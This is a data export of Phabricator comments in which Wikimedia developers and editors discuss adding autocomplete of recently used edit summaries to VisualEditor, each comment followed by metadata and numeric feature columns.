Survey]]
1031689,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","According to https://developer.mozilla.org/en-US/Firefox/Releases/59#HTML Firefox now supports autocompletion of textareas, so it should actually be possible to have native autocomplete suggestions, at least in Firefox.",,,1521014264,,PHID-USER-tyjmn7xcw6s2b6rqagj7,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,245,,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,22.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,5.148148148148148,0.8888888888888888,"According to URL Firefox now supports autocompletion of textareas, so it should actually be possible to have native autocomplete suggestions, at least in Firefox."
962563,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",Proposed to #community-wishlist-survey-2017 ,,,1510324177,,PHID-USER-dcexrhjioxqqsq4pdrfe,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,227,,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.125,0.875,Proposed to #community-wishlist-survey-2017 
854529,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#3234411, @Schnark wrote:
> But neither will give results for users not logged in. Even if they have a static IP, `mw.user.getName()` will only return `null`.

There are a bunch of features that don't work for logged-out users; I'd not worry too much about that.",,,1493924564,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,200,,3.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,3.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.3448275862068964,0.9310344827586207,"QUOTE
QUOTE

There are a bunch of features that don't work for logged-out users; I'd not worry too much about that."
854042,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",">>! In T50274#2137790, @Esanders wrote:
> Fetch and filter recent commit messages:
> 
> https://gist.github.com/edg2s/f7db01d240ad3c83d183

I don't think that `list: 'recentchanges'` is the best approach, as it will only give you summaries from the last month. When you are not very active, these are very few, so won't help much. In my script https://de.wikipedia.org/wiki/Benutzer:Schnark/js/veSummary.js, I instead decided to use `list: 'usercontribs'` instead.
But neither will give results for users not logged in. Even if they have a static IP, `mw.user.getName()` will only return `null`.",,,1493889939,,PHID-USER-tyjmn7xcw6s2b6rqagj7,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,200,,2.0,0.0,2.0,0.0,5.0,7.0,2.0,0.0,0.0,1.0,6.0,2.0,0.0,2.0,0.0,3.0,0.0,15.0,9.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,2.0,1.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,18.0,3.0,1.0,6.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,8.0,9.0,9.0,0.0,0.0,0.0,8.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,3.4597701149425286,0.6781609195402298,"QUOTE
QUOTE
QUOTE
QUOTE

I don't think that CODE is the best approach, as it will only give you summaries from the last month. When you are not very active, these are very few, so won't help much. In my script URL I instead decided to use CODE instead.
But neither will give results for users not logged in. Even if they have a static IP, CODE will only return CODE."
780380,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","A solution could also be HTML5 `contenteditable`, at least its support in browsers is acceptable. (see [[ http://stackoverflow.com/questions/13324822/autocomplete-with-contenteditable-div-instead-of-textarea-doesnt-seem-to-work | StackOverflow question about this topic ]])",,,1482075467,,PHID-USER-dcexrhjioxqqsq4pdrfe,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,180,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,16.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,10.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.806451612903226,0.9354838709677419,"A solution could also be HTML5 CODE, at least its support in browsers is acceptable. (see [[ URL | StackOverflow question about this topic ]])"
780379,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","A solution could also be HTML5 `contenteditable`, at least its support in browsers is acceptable. (see [[ http://stackoverflow.com/questions/13324822/autocomplete-with-contenteditable-div-instead-of-textarea-doesnt-seem-to-work | StackOverflow question to this topic ]])",,,1482075451,,PHID-USER-dcexrhjioxqqsq4pdrfe,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,180,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,16.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,10.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.7096774193548385,0.9354838709677419,"A solution could also be HTML5 CODE, at least its support in browsers is acceptable. (see [[ URL | StackOverflow question to this topic ]])"
780378,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","A solution could also be HTML5 `contenteditable`, at least its support in browsers is acceptable. (see [[ http://stackoverflow.com/questions/13324822/autocomplete-with-contenteditable-div-instead-of-textarea-doesnt-seem-to-work | StackOverflow question to the topic ]])",,,1482075440,,PHID-USER-dcexrhjioxqqsq4pdrfe,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,180,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,16.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,10.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.6774193548387095,0.9354838709677419,"A solution could also be HTML5 CODE, at least its support in browsers is acceptable. (see [[ URL | StackOverflow question to the topic ]])"
778083,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","(Actually, Chrome does support autocomplete=""street-address"", huh. But that doesn't really help us here, it doesn't remember and autocomplete values in textareas on its own and there doesn't seem to be a way to make it do that.)",,,1481761162,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,180,,0.0,0.0,0.0,0.0,6.0,6.0,2.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,2.0,2.0,0.0,12.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,8.0,8.0,2.0,0.0,2.0,0.0,8.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.84,0.76,"(Actually, Chrome does support autocomplete=""street-address"", huh. But that doesn't really help us here, it doesn't remember and autocomplete values in textareas on its own and there doesn't seem to be a way to make it do that.)"
778068,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","It's not possible to make <input> wrap. If anything, it could be possible to make <textarea> have autocomplete (nothing in the spec prohibits it, the attribute [[ https://html.spec.whatwg.org/multipage/forms.html#the-textarea-element| is valid on textarea]] and the new 'autocomplete' values include [[https://html.spec.whatwg.org/multipage/forms.html#attr-fe-autocomplete-street-address| one that is only valid on multiline content]]). But no browser seems to actually support this.",,,1481760141,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,180,,0.0,1.0,0.0,0.0,1.0,9.0,4.0,0.0,0.0,1.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,4.0,9.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,4.0,4.0,7.0,1.0,3.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,9.0,4.0,0.0,3.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,3.6578947368421053,0.6710526315789473,"It's not possible to make <input> wrap. If anything, it could be possible to make <textarea> have autocomplete (nothing in the spec prohibits it, the attribute [[ URL is valid on textarea]] and the new 'autocomplete' values include [[URL one that is only valid on multiline content]]). But no browser seems to actually support this."
778061,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","(That was https://gerrit.wikimedia.org/r/#/c/212795/, it tried to dynamically swap between <input type=text> and <textarea>.)",,,1481759634,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,180,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,9.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.3181818181818183,0.9090909090909091,(That was URL it tried to dynamically swap between <input type=text> and <textarea>.)
778059,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","Bartosz had a go at this a few years ago, but then I pointed out some IME issues and he gave up. I think my API approach is probably the simplest.",,,1481759433,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,180,,6.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,15.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,9.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,3.411764705882353,0.9117647058823529,"Bartosz had a go at this a few years ago, but then I pointed out some IME issues and he gave up. I think my API approach is probably the simplest."
777956,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","How plausible would it be to use `input` but magically make it word wrap, even though the HTML spec says it mustn't?",,,1481754213,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,180,,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,12.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,12.0,8.0,4.0,4.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.68,0.92,"How plausible would it be to use CODE but magically make it word wrap, even though the HTML spec says it mustn't?"
777955,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used",Raising priority now that we have the same problem in VE source mode (NWE).,,,1481754015,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,180,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.6470588235294117,1.0,Raising priority now that we have the same problem in VE source mode (NWE).
727561,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","I have a (very hackish) user script for providing access to previous edit summaries: https://de.wikipedia.org/wiki/Benutzer:Schnark/js/veSummary.js If anybody wants to use code from there to fix this in VE itself, feel free to do so.",,,1473756944,,PHID-USER-tyjmn7xcw6s2b6rqagj7,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,167,,0.0,3.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,21.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,21.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.6153846153846154,0.9230769230769231,"I have a (very hackish) user script for providing access to previous edit summaries: URL If anybody wants to use code from there to fix this in VE itself, feel free to do so."
632836,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","Fetch and filter recent commit messages:

https://gist.github.com/edg2s/f7db01d240ad3c83d183",,,1458492511,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,141,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.444444444444445,1.0,"Fetch and filter recent commit messages:

URL"
213768,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","I think this should be low priority. Only power users need quick access to commonly used edit summaries, and these power users will by definition know OS-wide tools like autohotkey or ditto which can do the job much more comfortably.",,,1387232471,,PHID-USER-zzvqlvm6i6kml4tfnqvq,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,24,,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,11.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,27.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,7.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.311111111111111,0.9333333333333333,"I think this should be low priority. Only power users need quick access to commonly used edit summaries, and these power users will by definition know OS-wide tools like autohotkey or ditto which can do the job much more comfortably."
213763,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","The main threads in VE/F:
https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_05#Edit_summaries_have_no_.27memory.27
and
https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_06#Predictive_texting_in_edit_summaries
and
https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_06#Edit_summaries_-_menu_of_recently-used.3F
and
https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_07#Speed.2C_Edit_Summary.2C_and_Limitations



Closely related are:

Bug 42139 (""There is no preview of edit summaries"") - Wanted, so that we can test WP:shortcut links etc are correctly-targeted.

Bug 50961 (""Provide simultaneous access to editor and edit summary"") - So that we don't have to remember everything we did, after a multitask edit.",,,1374776456,,PHID-USER-hphmqcx66p6d6gvmjzp7,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,3,,0.0,1.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,3.0,0.0,3.0,10.0,1.0,1.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,16.0,4.0,4.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,3.0,10.0,7.0,0.0,4.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.3152173913043477,0.6521739130434783,"The main threads in VE/F:
URL
and
URL
and
URL
and
URL



Closely related are:

Bug 42139 (""There is no preview of edit summaries"") - Wanted, so that we can test WP:shortcut links etc are correctly-targeted.

Bug 50961 (""Provide simultaneous access to editor and edit summary"") - So that we don't have to remember everything we did, after a multitask edit."
213758,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","(In reply to comment #8)
> A suggested list populated with recent edit summaries will be really useful
> when VE is extended to talk namespace.

We're not planning to make VisualEditor work with talk pages, but instead this will be done by Flow (which will use VisualEditor for editing content).

That said, we still think this would be valuable, and it's definitely in our plans.",,,1373481862,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,6.0,11.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,2.0,2.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,10.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,3.0,6.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,6.0,11.0,6.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,3.725806451612903,0.8064516129032258,"(In reply to comment #8)
QUOTE
QUOTE

We're not planning to make VisualEditor work with talk pages, but instead this will be done by Flow (which will use VisualEditor for editing content).

That said, we still think this would be valuable, and it's definitely in our plans."
213755,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","A suggested list populated with recent edit summaries will be really useful when VE is extended to talk namespace. Almost every time I close an RfD as something other than delete, I make an edit to the redirect's talk page with the summary ""Noting old RFD"" or ""Note old RFD and tag for relevant WikiProjects"" (depending whether they are already tagged or not).",,,1373479736,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,3,False,,,1,,1.0,1.0,0.0,3.0,1.0,10.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,7.0,11.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,7.0,4.0,15.0,3.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,5.0,0.0,5.0,0.0,4.0,0.0,1.0,4.0,0.0,3.0,0.0,0.0,0.0,4.082191780821918,0.8082191780821918,"A suggested list populated with recent edit summaries will be really useful when VE is extended to talk namespace. Almost every time I close an RfD as something other than delete, I make an edit to the redirect's talk page with the summary ""Noting old RFD"" or ""Note old RFD and tag for relevant WikiProjects"" (depending whether they are already tagged or not)."
213751,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","(In reply to comment #6)
> (In reply to comment #1)
> > ...or implement our own autocomplete?
> 
> However, just brainstorming, to address Raimond's use-case in comment 3, it
> may
> be possible to query the most recent X edit summaries a user has used and
> implement a suggestion feature based on those. That might cover the repeated
> edits use-case.

That's pretty much what I meant. The autocomplete would populate from recent commit messages, or they would just be shown in a dropdown.",,,1371146265,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,2,True,,,-3,,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,23.0,0.0,2.0,6.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,4.0,8.0,12.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.5384615384615383,0.6923076923076923,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That's pretty much what I meant. The autocomplete would populate from recent commit messages, or they would just be shown in a dropdown."
213746,"VisualEditor: For edit summary field, give users an auto-fill drop-down (or similar) of recent edit summaries they've used","(In reply to comment #1)
> ...or implement our own autocomplete?

It depends what the use-case is. Personally, I like the current multi-line input and my browser stopped remembering my inputs for <input>s long ago (perhaps when I switched from Firefox to Chrome).

However, just brainstorming, to address Raimond's use-case in comment 3, it may be possible to query the most recent X edit summaries a user has used and implement a suggestion feature based on those. That might cover the repeated edits use-case.",,,1371079046,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-rc4yhxp2tlzilezhonck,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,2.0,1.5,5.5,6.5,0.0,2.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,3.5,0.5,1.5,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.5,8.0,0.5,1.5,6.5,0.0,0.0,0.0,0.5,5.0,0.0,1.5,0.0,3.5,6.5,2.5,0.0,0.0,0.0,3.5,0.0,1.0,2.0,0.0,1.5,0.0,1.0,0.5,3.758735150244584,0.8315863032844165,"(In reply to comment #1)
QUOTE

It depends what the use-case is. Personally, I like the current multi-line input and my browser stopped remembering my inputs for <input>s long ago (perhaps when I switched from Firefox to Chrome).

However, just brainstorming, to address Raimond's use-case in comment 3, it may be possible to query the most recent X edit summaries a user has used and implement a suggestion feature based on those. That might cover the repeated edits use-case."
